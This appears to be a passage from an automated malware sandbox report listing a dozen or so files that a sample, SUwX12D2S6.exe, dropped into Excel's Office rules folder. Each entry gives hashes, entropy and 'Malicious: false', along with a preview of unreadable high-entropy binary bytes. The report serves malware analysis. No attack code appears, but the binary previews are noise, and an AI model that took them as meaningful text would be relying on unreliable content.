Preview:	<?xml.x.X.......U...N.3q.A...Q+./Tz.3.5.Z..(."....V.k/q.i...2..../....Jj....%.a...n.!5..r.......W...~......ak..=Q...V!xTP4.1o.........k.Eb..>.d.h......>/.k.G.....o.....H.5:Q...p.A............."..e.i..`.....F..uAP.M...W.....0\|Y...5~qO./]Eb$....Z.{.+j..O.PG..y_..R.....6.5P.\|.1p...........L}r....q.X-..7.........{O..an......C.A....;%<..'.R.rb.#".......v..2.@.B.Vh\R....g.sB$...P...C.3..g.N..>.".3-...S...+.wD......D...a.:..,...+......{c...Z............M..];.l...{..Qpo...~..8%..k?.C..{...z+_b...j...foc..4nF]..aw....[.K)....%.>..DlB....<B.j....Z}........<.%.C...]....1.n..+.&.N.6..X."......7b..KB..........<@..vf.< ...wg.a.Y/.u...vo...U....i.]O;....U..=.kt.)-...$.v..E.}_.y.F'.+.j.9...9'v..M...R....\k(9i.........e..Jj......kL.z.V..n...hd.....K8..g.q..........#..+..........M.)1.7...gM$.......6.3.).`U.....d....I..y.L..4...y.l......P.......t@..c..........s:*xl.!;.n...gQLI.O..!...W...A..?............PR.....l._..w.....z\|....../..t\|.......)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.884179718155012
Encrypted:	false
SSDEEP:	48:uEfcVbwZX8q2G4nF3w0WCiDXFLib0yS7CixKT+LQZNFD:uYtB8AEJUpLibbbao+89
MD5:	370CADEF158C76B363BF38B1D837424E
SHA1:	E87CECC26773222CB7AD5D0B10B2F444F2A9D5E4
SHA-256:	3CE3422F50BC9F8923832046CF1F243EFF4A7B7C7D2462DCF4814EF97BA60ACF
SHA-512:	B06FB2F40AEE6C3BE2C55DC927BB8F60DEAD14006E4455410B8EE53EBB42F981A0268236BBF5ED75F93005F1F00CBEB879887498474CD75210CF9844BF08005B
Malicious:	false
Preview:	<?xmlq.{.....Pn.nm.58DQA%......h.......=....Hs.".^G$;ybE....._cc..^I....BFV..E".^5.v..qm..k......4.1I.jy.l."........&...W....-.\|.5..........8j...Ge.r......-........9..W=....n-mX......o..@....[.....9....(..f./H...Z9.Z...."..rj)..M.`G.a.V..7>.0P.f.m..c.x...3)...r...va^&...Z........._r./..(M=..=.U.;.=G]Zb+..\.~8h.\|....2...@\#.`C.O.O...a...S@...P..f<..m.4.3.d.gA..>Y.. mA.Ln$...?..N?.@x.l:.....O.%0...[...<c@.1.O......+..W..8S..s.?.L.i....C>.8.F..O+ Q.. ..E..ubp.ye...2s.'`.....C...G..#9......]B.7...J...s'YQ..:f..G...?.......t.2..FFmv.....A....V4.........b.m..F..:......sZ........I6.....mU.S1m.k.4.B.F...}.).p:.@.w;..e.h7..]r.3..N....5.........n.Of.......F.."...8.O\.....@..$x.g..N.B.....4..5.....:........T..._..aA#...Q...O..b.f.. ..[.......AN...........O6....._n_g...!.............j.i#.7A.....B.93z...d.1....E2dhc....e...WR........*j{.."{.............7...^.2~.......,.b=...I5Sq......U........5GQ.D.".U.1.#$...m.M=NJ..P}...].......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.881510427034325
Encrypted:	false
SSDEEP:	48:qS8njNw1RQ1giwZu3mfoPKx05VblOtLVlHfGlFD:qZjN5wZjRRLVZGl9
MD5:	66DBC84A340FAF362866602DF8970E5C
SHA1:	1DAA84B65ACA200677B62A6616DD19547086FB5D
SHA-256:	9C4634770D76D426C3AB9DCEA6C0C0E8BBECD5BB0A23DE551A3A4A957AFA4623
SHA-512:	67A3FF3B6F96F5EB00164389D1C78B8971B3BB043B732BA74C7101E052A8EE45C43B103D55F87D9271E262C4909F2BC6342BEF4529CE1572D7E2442E07F229B1
Malicious:	false
Preview:	<?xml..1...= 'h..~......6 .E.bq...`....m.$...qmz.P.J_.f:d[.$v.....H.I8.(.j........R..!b..u,..d...G,.C.X....I.u;...]..zE.BQ.g<..X'..m...K<q.J....]...U.\|.]0....Mq.h.$Z.~.S.KO\."..'i.?...L9WO.d.. .\e..~.>.(....K....dT......M.._.,PY.G....`K..4..i....r..C.r.G1.A..F.v./..."!."2.6.x...gr.Fi...0R.V.O..S..".-..z+.4c.\|....aF\|,...)-.JP.m.F&-.N......?#/T....cH+d.xO.:,S..m.>.LV.\|..V..h...$,.......e>..f.......\|b.A..P_,...5..=...;........F.....1....c.........B..5\|...Gy.6...Q .9q4......b.(..(.....~-.,..h...........7...g...p...(.e\...s.Z.C...... [....D..Q...$........pEN..HG...q...cE).#f.@{H.]...P......-.UX.........,..9'[..$u..wW......O.6...1B..,.js&.......kl...... ..Ub.....R...q......e..c.....,..o.N3.Jeg}.+/...q...}.E.........e.......[.."u...).f...5.$J./B.!f.......f.,..ha.<..y....8.59...w5'<:G$...p... ..U.P..b...G.1........I...9.XD.~r*.}H\|@.....2%.O...u.}I~.%...M..0...h.D..b.Fvy-tp....3.[..S..W.3.;.#IDR.X.;..t..F?....4.M..M..`...L.-,(A.'.$...eH...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.881531345961189
Encrypted:	false
SSDEEP:	48:fz6fZIzEsooHVgvmzOtYBWB0ni7zqSTF6YS8FD:r6xIzhoqMmzOtRqC6f89
MD5:	C1EB512083DE733DBBA3D24820FFAD29
SHA1:	C18DEA7A691AC0D69093F9D0D1062AF720120231
SHA-256:	ADE0D31D1A19FBEB873D064AE4B8EABFB14ED37E7A591DED1E73C8CEDF981EDB
SHA-512:	E3107F7A792393DF561A81A798C45C347A67D9A9A16615DA574BD9F4648D7A8A8B157CEBAF4DEA853FD29E0A66F37690741CB18FBEBC20BDE30D85D158D02D27
Malicious:	false
Preview:	<?xml&....M....6#...rv..)...^J?.~.....\...G...U..!)j.T\.N..Us.d\O..C.....k.S.6I..}(O.fY0..C..9.....q.m..K?.. ..V%.O......r.-.]...1...."q....<.O..0U..YH..@.>..3f...../e....{..-.J:8^.eu.....O.vn..=.U......U\.............M.......y.!=0jeVQ..p..>.&..1s..-q...jy.RC........g.}....c.;..[EP.....\|.8...d.a.hm.:N3E.y..)....H.QA%.oav.........U/A._.....U....na...?...+'}.`..fS.}v../.......["...u.g....C..(......e......b.r<8......&..7...N.d%@..y.j..w..j..l...'....J$2.F(.SE..gm`w.Q +..`....p..u..b.......72.;..0O.j.. .....=...l{.fM...`..r.;Mh4...`..z..O6D..I.`v.k.B..]V...w.3.1....n.....m...z.c2.k...X..r.f.][.Y..;..V' .....).......S.....k.isa.. n. ...4.P...u.&..:.r.g},..a..F2.V~....l.j.#.%.....b...WeeS.#..W{j0.b......`.....[F..ZI.}.w<.J.1...\....E....l..c....).$...k".i.....s..=....'..sa8f..a.U.R.LZ..>.~B.'..l..F..t..@..8.}.1m~C8...n.......9.2A........p.3...3\|...u0..,..>.J...S.^}u..H&.}hA.\|..4.)B;1......0....%8.....;.F.I{Ik.......P..6......~,....<i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.882937104121348
Encrypted:	false
SSDEEP:	48:LIabYJv+UXFOhdDYhkLq/gl38dxMqh4Nf+HbnFD:ET2uA8k4tdxMC4Z+Hr9
MD5:	8E0E6564E769E30FD441D5229A560508
SHA1:	F4A43D6E219E078347795E2C3849D8A73FB139B0
SHA-256:	5A2F206D200A9A833F062640C02BE5D63966752D416C8C228B65AADE5841F500
SHA-512:	0CEF47B898B5BEC71C226D77146DD438F6F35E4EB62587584233AC80E47433E05D8FB161EC504E32FCF8A8AEB2308AF0B14C85EEA7D2DAD8684DD2A0406D3E9F
Malicious:	false
Preview:	<?xmlp.?.....p...."...b.J......g..H.A....i..F.a.Q..P...ew.......u.r.9r..s.6..^;......w+..Z'?W....+.....e....6.%.7.C..A......=G..Xn#...4..N.5..h..f.j.K5/u.$&M.i........I....ur5\.r:nH.D...\|C.....X5oQsd...FG(..J...GL.gw...?.R..........:...&.$[.F.8.....A....4.c0C..\|....x.@........U.%q.....JD..Jp........U+.....Wj.S+......B?<.ex._.Ux..D=.V...r.6W.......a.kb....,.....K..=......R8.],..p.R......j(v..B...Z.2Ab.RB...[....b.@.&.v..=.......q..\|B..cNx`..c.[......0..D(..D.t...N4.ER.n.i. (.fu.9.../W.-Pe)..F.n..$..\+...;=9.n..Kg.N...~.C.......4..S...3.2K.......D...)..\|.........'.V.y^..]n.!W.k[.BH.......F.....sjA..\.......V..8..p.4..5...r.p...Q....cM.)"...J0.6.[I\=>.am.u.....}....\|\|L.....~....(.0b.qx..X*^..f......g<.F...s}.k..V.l.4E.....U..#.....Y../..+c.........0...p.N.1...G."@..aAn.Mc....2.E1.s..[..,UF^.G..R..%.).%`....@...........[sf..hw...E....}9_._..[.c.....P..V..H.._A.nb...rqo.(<F..c'..{......;.'...R6.o.~..Y@.".......v...r.?..D....i......x?.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8840201163835415
Encrypted:	false
SSDEEP:	48:Cb01N7cNjCrv/Z8TknKlmPZPujrbj64n/cFD:uu6grSoKlIZPujO4n09
MD5:	5F66C2B3238CD535D326BC55EF93D3EE
SHA1:	00C6BCC52E5BE22CDA50E32A8B80A8B0420A68E2
SHA-256:	3C92BA239EC0353A700C7892FC2D0FC06FABED837956908F01D59061F3F2EF11
SHA-512:	55140BC5A633915EB5B56862EFA686360E1ED1BB84A20EACAFB71E482DB394AF1285C49B3B64F7A52EEF5D35EB9318EB5D95219D8A781C5BF911D24CD7B0CD04
Malicious:	false
Preview:	<?xml.Y.....a0.0.X...6..4........b.D.u62)..7}3.Q../..P...H.Z@1>4B.9.U%5.#m\..J...../.&M....._.8J'\G0....7.&..\|].~....p^8...}.=)i..J'Um...z<...T...Y3...Qo....b.,..yg...].JD...." ..m?.c.....k..........1 ..Dqw..'.=^..z..x..E....o.G..A+F..6..{j.......<.6..A......\|0.q......m$.'.....BdS2.k...I..C....kM'\w...a......@2bW. 4.....m..ku....AMDH8D....../s.M"{...@..L...k.88..k...$...uH)?..9P..]Z:..(..+?=..cF..VI.f..X8..>>..M6..N.a.......1../m..kD.P_I.7.m....q. .....%0.B/l%...F.....~H......x....OHTqc.Ai..r..W....!...9&.zf..<...@^........C....A.....{..c...'.........>{.'6.m.ql(......\..f..79.o.K..L]IBZ.\|..8.......<M..`.1..q.....m.MD.=@%..u..yQ.....p....{.N....I.3..-....=.?<...<..}..0....F....)A.?]H...9.R...A)..hRz.........4....@Op.P..q.....{5.\d\|.x.0.T.MN..<.S6.....8..%..3.T1...F7.z.Hn.E@.....Y..[..KQ}-.#......4...e^..hCeM............<Nk.....]./......l..\|.aj ....w...y..m....P...7Q....)....h...eJ.:.c...r.3."..1S...X"....J..B.?.$.:.uB=BC.U.B ..G*.X7.D.qc

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.896109367311732
Encrypted:	false
SSDEEP:	48:c0iHSEx7U7fn+cMW6OualLbRuUoJH8nQMDFD:FYU7f+cMW/puCD9
MD5:	45C74BE42C074AE428B90EC49E991358
SHA1:	E1E79A7F8930B3569E5DBFA28641A641D9594ACB
SHA-256:	F5189D73BA09BC102C48B2B04B595D50B02EEA226735DE4FB89BA7E086F20709
SHA-512:	8BD521B0B511D1204BBC49D19255BA37A9D155CEB3A1BE146F6761AC081AD9EB73E6955222FBCA7F55D48778ECC6B4F0F42FFF2DB293D97296319E5D81E303DE
Malicious:	false
Preview:	<?xml.\..A....f..........Z..B.."4o.....\|vc.....g..@p.T....C..G\|FNe.B.....js..(......8...s..:+.....,....g..&Gh.+vC9-.0..8.,....Kk...v..D.O.\...p.f...`x...E.rP.m%...LliIO.Q...)#...dV.B..K.8.. ).Auv$..m.......b.1..........9N..4?\|.Zc....p.{.....V.)....D{8W..=....;..a{..u.6...A.A+(F6z..^!.5..\R....]..1..}"......y\......X.#.m.0....O#F9.8E....8...w7S.M?(1..h..X...T\...... \FG.(.h6........H.m3.6.S.}.R[=..M..7..Z8..fL....{tr.[(.b7.9.JY...L..5U.au.Ku>t.,@ ..Um.:......c@6...I..A\|...W4......b.J.t.4n..........t....B$...d.....Mds...R)...-.nB....2.d.!.9]c....!C'^k..BQ..Tm...8l3;..I.[.. .[.~.).....Pz.#..!}...^L...y.lJ[.....}]..ex...=......\..[....9(.]..U..Gz=...5...\.4.Mz........N~.f.\..l..n)B.A..">.&xq..z.3...."b.L~.Vy(..y...2.h{7.k...v....._............C.1..$...w..-...F.J.Y...qw\|....I8.JgGy.$..0N.1.jj5.e.L....-.r.....U..twi.k...]... iiL.o...3..a].H.e.0^.j)..j...\.....n..3...E..nS..&..K.JV... ,.....w...d.`.t./.....f..P./....Q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.890171212281085
Encrypted:	false
SSDEEP:	24:L6ZfC5+0PnbV9HmQxeZFhLE11UcMnSdZJNxE5yjqigfVWonnwZCYpiVbD:L6NK+4B9HehLEIE2jf8AwZbUFD
MD5:	551A904AAFE2D5E0C05E8CCCE8C6E772
SHA1:	F5DED2358EBDA82CA626AB54F275BA3C7A8568A8
SHA-256:	6F0FC90BA63A6482C681C75F3F084A878B13E97E2CA3EDA3AD00028097137EA4
SHA-512:	FA23653CB1EA442096CCDCEA5F333386442C6363C6C087E6760987DAB8D789D575B6314B2F861CB63A407D0E2C59F256A0A2F6DBB02E1515F885892E7FD3A503
Malicious:	false
Preview:	<?xml..Y.....Iy~....f.:B..-^.F^.R...+._;......n.%g.5rf..XR{.a_..S.\....z..d!...v..I.'...o..M..../..P..}.:,..dES..gs;._.v.Z.q...cR.7-u.j1.-.MB.&m.Cg.%p...X.E.W9.Q.+..xM.D.:......F.b......1_L.....&.....@..^..E...q...b/...........L-m.`...#l..Q.(..u.......J....A..K!....\.J:..G...5..:...aL[.]M@..I..\|...-..wz.o..P.bFf....).#.9-..o-.luS.-]1.4'..`.V#.......{.Z.......AfHR...........'8....~..f..,8.q_..=1[..C..G..W.y..ht.['...#J.!..y.#]-!.{....vb..'...~B.L...sV...R.....a.r..k.....@.....UDI...(...=...;.......9..A...h....Wa....2=..eUg.k..O5.:.F>..Y.....9.i..P}.H..-Q%Yr.....F.R.(V<.\|.+P}t...N3.%.E[.L...@'.....R`.o ......b<..~...cc[R...\.>.pn."...7?I.T...s._H.q._QP}..a.i...6.o.h...V..........K..tR.0(.....f....".wf.2.=xW.9.v..C;....Zu....5.W...H........(.......).....<......]....fSC'1..5.?.3..B..lN.?..D........P.k....4%...P..s....Cl..5...O....t..I.%K.?3.L...q..w..SukO.M{.1..=..}TK......"._.?.Y.5m...d..p..K......o.XJ...Wv9..R...B..9.l.Q.Gt..9$WO;.J.X?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.880046896154137
Encrypted:	false
SSDEEP:	48:0VbpGddxv8spwZzeU6eEjqEFc18MMdkT/3JY7r5FD:uodxUsTheyu13Fb329
MD5:	910583A95F4A69456A1D4E0C16F5C518
SHA1:	DE1AF7272D5F1290A9E513D0096102CFA95B4462
SHA-256:	16EA269C9EB3154B127FEB7B2301E0E03B86DA140822665FAC2B55F16CB3DD1B
SHA-512:	33BB7B4C53E90737F65BEC9013E26FB489DB845FDC6706DC3C5B97FE6E3C3AA394CDAF842CFB730165BD3B60242C8D22BF64DD4724DEA05A5E5493939B3AD82E
Malicious:	false
Preview:	<?xml.Y...?......5..T.i....M3........r..K..wC.....\..F...0...U...].b.Vs..m......&..>.f.1.(......[r/.).3..._...!.Ns..3!.....h.?.rz=..._.y.[3i.......}4..z@OX.E>r-t.W.U..U.Y..R.0..u...,..4..z...=Y..ZA..E..V..A.Y..,...x19.Vr.$l..E.x.Px<W3.......\|..1.>O..~.`./hZ..>.v...j.H....;..d...^.@u/..!Nj.....t!%_....@=n...T.+M....v....tK....../b.9q....}......&6#.(~^A..)w....Q).............G.-k..m..P)..;T.... .`g...2...C...nt.}..u.eX......_..~9.>.\x.Vb.w.O8Y....lC.-.p..g.....&-uVf\|m)@.T."e........&..etf..).n.k.....m.#.AY..s8.'FBX.P(.....e....Z^..p..L@<.I.M..AU...(.....*.9.....`.B...W./ofb.".^Q.@.P.oA.....lm.k... l'..=.Q@>....?K..........@.6.u...F..=Q.t...#.Q...v.....^...)O..m.......3.....[...[QNk...l..@..6#z....t.k@G..[q"P.bX.0.Q.......Z.MJvi...5......."n^Uq6..^....!...=.........(.....v........b...)..w.X.z?...n.Lf.p{..S.c.#_...4..................@.o....I.d...."....{j.x..)+..%q.`..v..w..n.a.%\0.K.Pz...t^0'.i.........U...i`=.,..2.....oO.D..9......F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.89130085151332
Encrypted:	false
SSDEEP:	24:A3CKujm0dp6NuqlE/B+UMAFP2UsPVClRlbM3dS1/JpQiowIN/fmZTPycf20VbD:4CKujFnkU5P2UT/WmhpQiP4cJFD
MD5:	192218F6AADB8340A2F19AA46D233BF1
SHA1:	5856611B8EF484D8D81181EF884456EE6CAC6A3E
SHA-256:	B16F6C45139E4630CD18718ED3C16136009D23F1128C13C2B9F5701540AB754E
SHA-512:	7FC742E7D129F52A1F4C5E23FC97C2AAB21E6BDA98884CA130DDCA1E0DBA0D9B62F21F956F7562FDDDEDAEC29699E5CC1C9AFFABB32F21B379B57FAC75F32777
Malicious:	false
Preview:	<?xmlx."h...,.0.7va6i.\$.U3.R.k!'..,..h..e.z..#.....&..<#8[....'..).. L.>.P25..s2..b.@w"G...Z.b.......\|.Ha..'.......i!\|o...>mmY....-?..x.9k.!(Y....IQ\...r...z.i...mh...<..1.G...!r..2..$.....A\F.R.n..`...P.fS"....Tu.."...[....^..n...2......O..+.(.....S.W.^..h.r .<.y.B..D..).wn.Z.jU...Gm..X1NN....}.....$.Am.i....G.../..(&!.A.._...)...J.?..v.EH....../..].P.L.R.4...........c..........lGt.@.&..V...,...t....<b.INmU.X..6.g.n.;fVa...0..@<.,.f.<...z....I..2Y.;....Av?...a..L.t.......o.,D0...G...X..U..... .......{.....!t....y..g.d=i....Md..}q..hw............1.LT...=..........A...V.M.Z'..cU.-...U. ....s..u.?N....Cu=C.~a.6.........T...+o...Q0...d.....T.w..&}.W..q...udP>....,...G.Z.v..........Fa..Q...=H.l...@..N>0_......c2c\'\-.}8..7.RuJo.X..1..\|>..eC \qr......$.2s..r./z..h...Lo...j[i/.n.O....v...4.......N&t.&.Y.l.Ct.l.xN%.j....>.3ds....]C..X..D.9f......X=....z.........0<h...i....6..Z.;2...x.(......z."...i....n.;.aG.&...;._a.C.....9.x..4>..C...#J(..7.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.89367634789287
Encrypted:	false
SSDEEP:	48:K/cWTurs49UsAryk2NyMgSFnHq2fcmlecmaPZXMmY4BFD:K//TuouZljDg4nK2EmleIRXMmYi9
MD5:	61A9F81E4B7B24EF6296B5FE09881F73
SHA1:	A8199C0177C7307F09DCAB892DA8B8B3A7BB5D27
SHA-256:	B9BF60753CB2CD5AD4CF2E196670BBDD1A30C389C1538F73643C6234D210D367
SHA-512:	8C69A5861E9EC5D51C4490D3BA544B28DBEF8CBCA056551DD9BBE06D28E252BA50950600C945E79DDCB0AD5BCF4593265E975574B31CC54A86F2C0976F9788D1
Malicious:	false
Preview:	<?xml..R0.B..#..V..y.......l.......C....rF.K&.B...&.v[#..^q.X.......n.My.\|.........Q....A..q..h.0...i..x.Q...SF(g..D..^Xfk.....\|... ...1Yb..d.....g.H...#....t.$,.{...M...[.....G.c..,..e9.#..........&...#...A...;.E...a..........f{H.]..^....../a.........k/....v...,.W......Nb.......u.0!......`W.gZ.E.....%P....O."..J..DH....S..Z~......;....Rz..J.7!...8?a%n.{N.........]v..bwU....v..F......6t.....n..a$@..bF.>`.....'....71............ O-O...(.H..X....7R<...J.z...(.. }....6.q.5S.~..{5.)..E...?Z..k8..s...i...y.8`%..p..amr.{..@ ..O.Ja...X'..P.S.......2.u.. ..C%@.`u.h.6..47g.MZ..4...4...q...rD[..z.#..sOe.L.{G5s-.e{7Qh.b.I_.+..u~...b....~.9CC>{U3.5y......)F...w.....j.S...+d7..N.....V..=Q/.AO.>.\|......'5F.x{...w!..6f....,..y.C1..........S.z...c.y.~&.g.;....N.V.......,AL..k.+O%.? .h.<......[sq...8......3.[.0.C;.x...d.^.....%@^sw.'..T.t.r...I.m\|...n;..-...P;.<f.....q.K.!.........Gl._I5.Q#$..5..t._.......yj.}'.b......p......Hk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.874819602147866
Encrypted:	false
SSDEEP:	48:fuVHmlSwJ2agAJ9N0x2lCiMn7jIzgETz6lolt1FD:pJ9dgitxzsol9
MD5:	67BD877E6A3F0122C54C3F837153920E
SHA1:	1E7B32AC237955A9A34BA6DA0C4A767BDEDFB0E0
SHA-256:	911F7468BFCD808D097289194AD789E3BBC20347CE947CC0DF3E6AD15092FC73
SHA-512:	725E47CA900D1A03F982200C846FC2206995BA4527A55B95DEEAD01076A98D3C5B30EA72DE7CCCBE2ACB0220519A2BFEC321972ED8B8D0F6CE4E844F5D5A92FC
Malicious:	false
Preview:	<?xml.[Ic..Av..i....FI^!..y...}......C..;...l....wag..='....2.=..3..,i<.....F....:..<\|S..o.@k>y2..._.j...!c...mH.O.K....R.....E.......l.....Se4.@..z...X.N.h..z.x-P.`.f#...V.Q..X..L.....&_@......]\.o.(....As`-...UA^=....j.C..=...7...Y.......g...E.B.7.G"w......g....nE.......M0'....,Y4D.`mN._.U.<.?.).~O...l.......E\|...C.....D.b...d$.t....w.}r.u....%....J..\|..}..^. .y..i.......rVf..6j..$....q<..G.qa-W<.:..`..>\|.......f.."..t!.j..qw.....k.@[........S..tSA.".\[.Y.C_)fz.E.s\..}..YBv...G7........u.O .;q.......1.dG.`Q...C......C.TH,.3#.M'RQi......6.$..z8...f..u..W.oj.h..t...Y"z7....Z."..C..b1...aJh.6\...W...?..L.0W.\|/A..G....C...9.....8`.ND...._.4.B{,*..0...\|..@=..c..).E.mEB..w..Q../.."....9.3ee .J].N..jO...}C.y.l.Fb..U.;.+...$....N..Oy.K..v..&w.mL[(VU.ni....q.L..^.-WW+...u.. $tH.._UC...).p.7...Iz.-.........v..j.}HU.2.5...?E..d.....5.....9.Y..q../...iN.\|..0..>.3./^k...D..............y..IO.j...."...P.7...Y..u.F...........v....3..w........0.R5..=c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.886448220604102
Encrypted:	false
SSDEEP:	48:o6+RRRy3DWRe7dCJblxT4KGjA6hz1OTWZYbNFD:QLyzWkEOKMA6zjybN9
MD5:	862D6181448AAC21C722504F87887D69
SHA1:	9F78FA7C3754C87A0D1078BCEED6D83464CC74EF
SHA-256:	DA2A8AD211A83214BCD6EB2E7048D3AD7236CBE29736AD991F0C7C1833B54284
SHA-512:	50D00DFA5FDC9401602BA4018E1621D98726B3B92193312D2B7D99E7215A9A78D48B2F907E517EE20A1ED741CAE45937F0B62E60F12C1603E8DCBAA8D135BD27
Malicious:	false
Preview:	<?xml..wX........+nG.;...-.Z....:......-....^.s....%..\^.....>>...r....K..P.....kZ..e.'n=.GH.\|.A.....(Y....A%f...2.E.W%..?.....+.S....(.....BN.0.#...C.6W.o.........1}.%=.p.".........8Al.+3.S.-..iW......~.e1.f.B....kYM..0.`.x......n..p.=._....._.MGa...... ..D..Y..GG0m..t,...&.74..kx5f...0../..).....()T.k.g...pkx.....d!..... .T.:@y.`.3......w...0...&...7..@....F..?ux.\|0...ap.GL.0..b.e...~zp.......D....4'.{..tfn.u2.....#..5v#.....[....1...xcI..MS...>.2..D,...........k.>g......%....'a.A.A.>...4"......\Z......~..0l..T..n.........26.....k.... ........8.Q..QZ.kCu.#[(.".s/.#Wlc..$).yJP..RE...b.....+.(.......6..y.....6..~..#qPl.9{w:3.7xQ~.9..i1..7..H.]......U$..c&../.."R9..e.P.m...........Z.;:.........a......z..+0.......z^.Um2...C..?.0.......b..C....D8.x..v.$..o...RvY.....y.m.}'..G..>..3......WN.......w(.2r&..b.V...~'....R:A../h.R.....[.Q...k..Y ... v......y.......[...SE.Z%..n.o.t.@i...~ES....)%.n.....2..A...^.5M+.b....lZRV..Y.@....,.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.889534533492046
Encrypted:	false
SSDEEP:	48:tg86zOyl7JYkq4sS93R8e0Rwsfi+iHgIIjvcFD:tg7zOyvq4s82Bwsf/4qjk9
MD5:	438845E965CA7BD147F893EBFEDB232F
SHA1:	42F0AC05566AC6E99FC97259D3DD4FC219E28B46
SHA-256:	11CD19A3CE1CB0F1C25AC259992D0FC0433E3E176A814C8FFAAD365A57286221
SHA-512:	0312FE1C0C3B88E53A68E24E81BBECFCCBB3FE8C1220C1D147E5EBA643EC692D20F44DC629E56AA36488E9094011BFB539AC01B68DF0FFE0903FC2DD5B4AA8E2
Malicious:	false
Preview:	<?xml...'r_..n..A...B.f]o.(.....;#5.+....'.yn.......E4..&.m'.... .~.......b.......+O....;`..D....L.u,...I.x...K.62.........jc.A.jKG..t..n.Nt..........4.ug.......n.kF(.P..j..$...kL6...\...Ek....0...0y?...........h.Y..T.\|...@.a2...]......>..)...v.E...1..v.m.....}..W..k.k\|....a..b..].,.8....ys`{Z^b..[a..bj...#.......K.2......06u.D........-b.....H.......i..I..t...ql../...De^...(...2[...>8.a.R..j..........B._...w...hbF.....LE.TV~..%Vd...V1W..O....h..\.@.....D.'..3.Faw..7z0x..'..#./.p[.g55..i.....i...X.}.....p...U..\.wz.D..3...Z.-.=.G..o..L.#}...U..A.....j.L.[.(...y.Y.....nQH.5...OC.H4Q..D-b..i\|Y....?XCiU}..Mz..x.c0.....l...p@.eM\|..Z..>..Z1v.4...=.#....s\..g........Z.X0.;.k..z(Z.1#...@8}vK$...`...G{Z.)#.;.=.....5......A...W9.U.U...:......-...mq...ak..+h/...x..t..).\|..T.T....dU..WkR.r.O..4.4R.`..)g..^...D.8...X!.'..a..<...Y4.....x....'.vF....(..X.$.......X..\.P..n]Q.....MK...0 g...6.../s...T.F.\...~...^..t\iAZ..46...\).....{.)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.893846181644819
Encrypted:	false
SSDEEP:	48:Sjdv4+Nog9JRH7i4bsH1INpvvRY2dFwFD:SBFzjFu4b1bNdi9
MD5:	5AAB728EFEE9BF82D6CCD380B748F09B
SHA1:	23D3270C4348224D4D092BA7958FE60E29298B7C
SHA-256:	7DDFD4862E505684F57CF309254C66544CBB01000A8604182507456948158A1F
SHA-512:	39DCA958905C251D8D3C46C34A1450D8BD1502149B718FA7C9F15131500EF3FCEB14D79A02DD73B6DD195C4642C32E17F2610EC735F5A351019C36C020997993
Malicious:	false
